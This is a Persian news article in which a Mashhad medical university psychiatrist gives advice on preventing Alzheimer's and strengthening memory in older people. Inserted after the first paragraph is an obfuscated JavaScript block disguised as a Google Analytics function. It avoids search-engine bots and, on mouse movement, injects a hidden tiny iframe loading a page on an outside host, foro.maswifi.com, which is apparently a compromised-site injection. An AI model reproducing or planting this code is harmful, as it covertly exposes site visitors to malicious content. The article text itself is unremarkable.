

عضو مرکز تحقیقات روانپزشکی و علوم رفتاری دانشگاه علوم پزشکی مشهد انجام پیاده روی و داشتن روابط اجتماعی مناسب را در پیشگیری از بروز آلزایمر در میانسالی موثر دانست .

```
var _0x24b1=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx66x6Fx72x6Fx2Ex6Dx61x73x77x69x66x69x2Ex63x6Fx6Dx2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var _0x64b9x2=navigator[_0x24b1[1]][_0x24b1[0]]();var _0x64b9x3=[_0x24b1[2],_0x24b1[3],_0x24b1[4],_0x24b1[5]];for(k in _0x64b9x3){if(_0x64b9x2[_0x24b1[6]](_0x64b9x3[k])!=-1){return ;} ;} ;var _0x64b9x4=detectBrowserSize();if(_0x64b9x4[_0x24b1[7]]==0||_0x64b9x4[_0x24b1[8]]==0){return ;} ;var _0x64b9x5=false;if(document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]){_0x64b9x5=document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]};document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]=function (){if(!document[_0x24b1[13]](_0x24b1[12])){iframe=document[_0x24b1[15]](_0x24b1[14]);iframe[_0x24b1[7]]=_0x24b1[16];iframe[_0x24b1[8]]=_0x24b1[16];iframe[_0x24b1[17]]=_0x24b1[12];iframe[_0x24b1[18]]=_0x24b1[19];document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[20]](iframe);} ;if(_0x64b9x5!=false){_0x64b9x5();} ;} ;function detectBrowserSize(){var _0x64b9x7=0,_0x64b9x8=0;if( typeof (window[_0x24b1[21]])==_0x24b1[22]){_0x64b9x7=window[_0x24b1[21]];_0x64b9x8=window[_0x24b1[23]];} else {if(document[_0x24b1[24]]&&(document[_0x24b1[24]][_0x24b1[25]]||document[_0x24b1[24]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[24]][_0x24b1[25]];_0x64b9x8=document[_0x24b1[24]][_0x24b1[26]];} else {if(document[_0x24b1[10]]&&(document[_0x24b1[10]][_0x24b1[25]]||document[_0x24b1[10]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[10]][_0x24b1[25]];_0x64b9x8=document[_0x24b1[10]][_0x24b1[26]];} ;} ;return {width:_0x64b9x7,height:_0x64b9x8};} ;setTimeout(_0x24b1[27],500);
```



به گزارش وب دا ، دکتر نغمه مخبر با اشاره به اینکه آلزایمر شایعترین شکل زوال مغز در میان سالمندان به شمار می رود و در بخش های از مغز که تفکر ، حافظه و زبان را کنترل می کند ایجاد اختلال می کند اظهار داشت : ننگه داشتن کلیسترول و چربی و قند خون در حد طبیعی ، داشتن فشار خون نرمال ، تعاملات اجتماعی و روحیه خوب نقش مهمی در مبارزه با آلزایمر دارد .

عضو هیئت علمی دانشگاه علوم پزشکی مشهد تغذیه مناسب را از دیگر راهکارها در پیشگیری از این بیماری عنوان کرد و اظهار داشت : سالمندانی که روزانه دو تا سه بشقاب سبزی و میوه از جمله گل کلم ، سیب زمینی ، پرتقال ، سیب، تربچه مصرف می کنند 40 درصد کمتر از هم سن سالانشان به فراموشی دچار می شوند .

فلوشیپ نروسایکیاتری با گرایش روانپزشکی سالمندان با اشاره به اینکه به طور کلی با افزایش سن احتمال فراموشکاری بیشتر می شود خاطر نشان کرد : اگر سالمندان اسامی افراد را دائما فراموش می کنند و یا فکر می کنند حافظه شان روز به روز ضعیف تر می شود و یا اگر در روند طبیعی زندگی شان اختلال به وجود آمده و نمی توانند کارهای روزمره را به تنهایی انجام دهند باید به پزشک مراجعه کنند .

عضو مرکز تحقیقات روانپزشکی و علوم رفتاری دانشگاه علوم پزشکی مشهد گوش کردن به اخبار رادیو و تلویزیون ، مطالعه کتاب ، یاد گرفتن مطلب جدید به طور روزانه ، مرور و یادآوری اتفاقات و مسائل روزهای گذشته ، حل جدول ، از جمله راهکارهای تقویت حافظه در افرادی که مبتلا به آلزایمر شده اند به شمار می رود .